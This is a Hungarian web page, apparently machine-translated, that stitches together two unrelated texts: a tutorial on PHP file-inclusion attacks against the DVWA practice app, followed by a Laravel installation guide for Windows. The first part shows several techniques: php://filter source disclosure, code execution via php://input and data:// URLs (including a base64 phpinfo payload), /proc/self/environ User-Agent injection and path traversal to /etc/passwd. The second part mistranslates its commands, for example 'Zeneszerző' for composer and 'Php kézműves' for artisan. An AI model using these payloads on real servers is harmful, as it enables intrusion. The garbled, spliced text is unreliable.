http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

Ügyeljen az értelmetlen betű- és számsorra – ez a file1.php fájl forráskódja base64 kódolásban. Mivel ez base64, a bináris fájlok is támogatottak.

Dekódoljuk a fájlt:

Távoli kódvégrehajtás php://input segítségével

Ez nem olyan, mint a fájlbeágyazás, és megint csak nem szükséges fájlokat feltölteni.

Segítségül a FireFox kiterjesztést fogom használni, használhatod azt is, vagy bármilyen más programot (pl. curl), amely képes adatátvitelre POST módszerrel.

php://input hozzáfér a nyers HTTP-kérelem törzséhez, hogy megértse, mit csinál az include("php://input"), nyissa meg az oldalt

http://localhost/dvwa/vulnerabilities/fi/?page=php://input

És a kérés törzsében küldje el a megfelelő PHP-kódot (például a POST módszerrel). Ez lehetővé teszi a távoli szerveren engedélyezett bármely funkció végrehajtását!

Távoli kódfuttatás data://

Ezenkívül a PHP támogatja az URL-sémát adat:// A kódot közvetlenül a GET paraméterben helyezheti el! A következő teszt nem igényel speciális eszközöket, csak egy normál böngészőt a támadás végrehajtásához.

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

Egyes webalkalmazások tűzfalai gyanús karakterláncot észlelhetnek az URL-ben, és blokkolhatják a rosszindulatú kérelmet. De van mód a karakterlánc titkosítására legalább base64 kódolással:

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

Tetszőleges parancsok végrehajtása a /proc/self/environ fájlból

/proc/self/environ folyamatváltozók tárolása. Ha az Apache-folyamat elegendő jogosultsággal rendelkezik a hozzáféréshez, akkor egy hasonló URL-lel rendelkező include-ot tartalmazó weboldal megnyitásakor

www.website.com/view.php?page=../../../../../proc/self/environ

valami hasonlót fog kiadni

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.webhely.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php=? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [e-mail védett] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Kérjük, vegye figyelembe HTTP_USER_AGENT. Ehelyett helyettesítheti a megfelelő PHP-kódot, amely egy távoli szerveren fut le.

A naplók maratása és beszúrása fájlok helyi felvételekor

Sajnos be legújabb verziói Apache ez a módszer már nem működik.

Lényege abban rejlik, hogy a támadó kódja bekerül a webszerver naplójába. Ezt helyettesítéssel lehet megtenni User-Agent, vagy akár egyszerűen átadva egy GET paraméterben.

Távoli fájl statikus befecskendezése

Példák a statikára:

Nagyon egzotikus helyzetekben használhat statikus zárványt. A rosszindulatú kód beszúrásához „man-in-the-middle” támadást kell végrehajtani két szerver között: amelyek közül az egyik az include-ot használó webalkalmazást, a másik pedig a beillesztéshez használt fájlt tárolja.

A Laravel megköveteli, hogy a Composer kezelje a projektfüggőségeket. Tehát a Laravel telepítése előtt győződjön meg arról, hogy a Composer telepítve van a rendszerére. Ha először hall a Composerről, ez egy php-függőségkezelő eszköz, amely hasonló a node npm-éhez.

A Composer telepítéséhez ellenőrizze ezt a bejegyzést:

A Laravel telepítése Windows rendszeren:

Kövesse az alábbi lépéseket a laravel Windows gépre történő telepítéséhez. Nem számít, hogy van xampp/wamp verem, mindkettővel működik. WAMP-on mindenképpen telepítse a laravel-t a "www" mappába és az XAMPP-ra, nyilvánvalóan a "htdocs"-ra.

1. LÉPÉS) Nyissa meg a "htdocs" mappát az XAMPP-n, tartsa lenyomva a SHIFT billentyűt, kattintson a jobb gombbal a mappára, és válassza a "parancsablak megnyitása itt" lehetőséget. Alternatív megoldásként megnyithatja a parancsablakot, és módosíthatja a könyvtárat "xampp/htdocs"-ra.

LÉPÉS-2) Lépjen be a következőket parancs.

Zeneszerző create-projekt laravel/laravel my_laravel_site --prefer-dist

Itt a "my_laravel_site" a mappa neve, ahová a laravel fájlokat telepíteni kell. Változtasd meg ezt ízlésed szerint.

3. LÉPÉS) Most itt az ideje türelmesnek lenni, mivel a laravel telepítése eltart egy ideig.

4. LÉPÉS) A telepítés után módosítsa a könyvtárat a "my_laravel_site" (cd "my_laravel_site") címre a parancssorban, és írja be az alábbi parancsot.

Php kézműves kiszolgálás

5. LÉPÉS) Ez a következőhöz hasonló üzenetet jelenít meg: "A Laravel fejlesztői kiszolgáló elindult:" egy URL-lel együtt.

6. LÉPÉS) Másolja ki és illessze be az URL-t a böngészőbe. Ha a dolgok jól mennek, látni fogja a laravel üdvözlőképernyőjét.

7. LÉPÉS) Kész! Sikeresen telepítette a laravel-t a Windows gépre, és készen áll a használatra.

Alkalmazáskulcs beállítása:

A Laravel telepítés után kevés konfigurációt igényel. Ehhez be kell állítania az alkalmazáskulcsot. Ez egy véletlenszerű, 32 karakter hosszúságú karakterlánc, amelyet a munkamenetek és más érzékeny adatok titkosításához használnak. Általában ez automatikusan be lesz állítva, amikor a laravel-t a zeneszerzőn vagy a laravel telepítőn keresztül telepíti.

Ha nincs beállítva, manuálisan kell megtennie. Először győződjön meg arról, hogy az „.env.example” fájlt átnevezte „.env”-re az alkalmazás gyökerében. Ezután nyissa meg a parancssort, és váltson át a laravel projekt mappára. Most futtassa az alábbi parancsot a kulcs létrehozásához.

Php kézműves kulcs: generálás

Másolja ezt a generált kulcsot az „.env” fájl APP_KEY változójába. Mentés és kész.

Adott Laravel verzió telepítése:

A fent megadott módszer arra készteti a zeneszerzőt, hogy letöltse és telepítse a laravel legújabb verzióját. Ha a laravel korábbi verzióit szeretné telepíteni a gépére, feltétlenül adja meg a megfelelő verziószámot a create-project parancsban.

Zeneszerző create-project laravel/laravel=5.4 your-project-name --prefer-dist Olvassa el még:

Hasonlóképpen lehet könnyen telepítheti a laravel-t a composer segítségével Windowson. Remélem hasznosnak találja ezt az oktatóanyagot. Kérjük, oszd meg a közösségi körödben, ha tetszik.